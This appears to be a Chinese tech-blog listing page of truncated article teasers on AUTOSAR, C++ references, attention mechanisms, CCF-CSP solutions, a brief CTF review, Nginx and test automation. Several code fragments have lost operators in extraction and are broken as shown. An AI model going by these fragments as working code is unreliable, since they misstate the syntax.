AUTOSAR EEPROM抽象模块详细说明 基于AUTOSAR标准的EEPROM抽象层技术解析 目录 1. 概述 1.1 核心功能1.2 模块地位2. 架构概览 2.1 架构层次2.2 模块交互3. 配置结构 3.1 主要配置容器3.2 关键配置参数4. 状态管理 4.1 基本状态4.2 状态转换5. 接口设计 5.1 主要接口分类5.2 接…

C++相关基础概念之入门讲解(下)

1. 引用 ​ int main() {const int a10;int& aaa;aa;cout<<aa<<endl; } 引用 不是新定义一个变量&#xff0c;而 是给已存在变量取了一个别名 &#xff0c;编译器不会为引用变量开辟内存空 间&#xff0c;它和它引用的变量 共用同一块内存空间&#xff08;初…

注意力机制,本质上是在做什么?

本文以自注意机制为例&#xff0c;输入一个4*4的矩阵 如下&#xff1a; input_datatorch.tensor([[1,2,3,4], [5,6,7,8], [9,10,11,12], [13,14,15,16] ],dtypetorch.float) 得到Q和K的转置如下。 此时&#xff0c;计算QK^T ,得到如下结果 第一行第一个位置就是第一条样本和第…

Windows搭建免翻墙的BatteryHistorian

文章参考 GitCode - 全球开发者的开源社区,开源代码托管平台 免翻墙的BatteryHistorian主要原理&#xff1a;修改go源码 1.安装Java环境 1.点击下载 Java JDK&#xff0c;并安装,一路next 2.java -version 检验是否安装成功 2.安装Git工具 1、点击下载 Git&#xff0c;并…

WRF/Chem 模式技术解读:为大气污染治理提供有力支撑

技术点目录 第一部分、WRF-Chem模式应用案例和理论基础第二部分、Linux环境配置及WRF-CHEM第三部分、WRF-Chem模式编译&#xff0c;排放源制作第四部分、WRF-Chem数据准备&#xff08;气象、排放、初边界条件等&#xff09;&#xff0c;案例实践第五部分、模拟结果提取、数据可…

ccfcsp2701如此编码

//如此编码 #include<iostream> using namespace std; int main(){int n,m;cin>>n>>m;int a[21],b[21],c[21];for(int i1;i<n;i){cin>>a[i];}c[0]1;for(int i1;i<n;i){c[i]c[i-1]*a[i];}b[1](m%c[1])/c[0];int s1,s20;for(int i2;i<n;i){s2s2…

74HC04(反相器)和74HC14(反相器、施密特触发器)的区别

74HC04和74HC14的具体区别详解 同样具有反相器功能&#xff0c;你知道74HC04和74HC14的具体区别吗&#xff1f; 74HC04 对于74HC04很好理解&#xff0c;输入低电平&#xff0c;输出高电平&#xff1b;输入高电平&#xff0c;输出低电平。 建议操作条件&#xff1a; 下图是TI的…

第十四次CCF-CSP认证(含C++源码)

第十四次CCF-CSP认证 卖菜满分思路 买菜满分思路 再卖菜满分题解&#xff08;差分约束&#xff09;solution 1(枚举 correct but 超时)solution 2(正解) 卖菜 题目链接 满分思路 就是模拟一下这个调整第二天菜价的过程&#xff0c;其中对于两种只有一个邻居的情况下做出调整&…

CCBCISCN复盘

AWDP – ccfrum 自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜 如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给…

VS010生成可由MATLAB2016调用的DLL文件方法

亲测实用&#xff0c;不用配置杂七杂八的依赖项 1&#xff1a;新建Win32的DLL输出项目 2&#xff1a;修改为release模式 3&#xff1a;添加calc.cpp文件&#xff0c;即要导出的函数myadd&#xff1a; #include "calc.h" __declspec(dllexport) int myadd(int a,in…

优选算法系列(3.二分查找 )

目录 一.二分查找&#xff08;easy&#xff09; 题目链接&#xff1a;704. 二分查找 - 力扣&#xff08;LeetCode&#xff09; 解法&#xff1a; 代码&#xff1a; 二.在排序数组中查找元素的第⼀个和最后⼀个位置&#xff08;medium&#xff09; 题目链接&#xff1a;34.…

阿里云服务器部署 五 Nginx + springboot

Nginx的部分配置 1. 基础容灾配置&#xff08;被动健康检查&#xff09; 在 upstream 块中&#xff0c;通过 max_fails 和 fail_timeout 参数定义故障转移规则&#xff1a; 在 upstream 块中&#xff0c;通过 max_fails 和 fail_timeout 参数定义故障转移规则&#xff1a;…

接口自动化测试框架详解

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 接口自动化测试是指通过编写程序来模拟用户的行为&#xff0c;对接口进行自动化测试。Python是一种流行的编程语言&#xff0c;它在接口自动化测试中得到了广泛…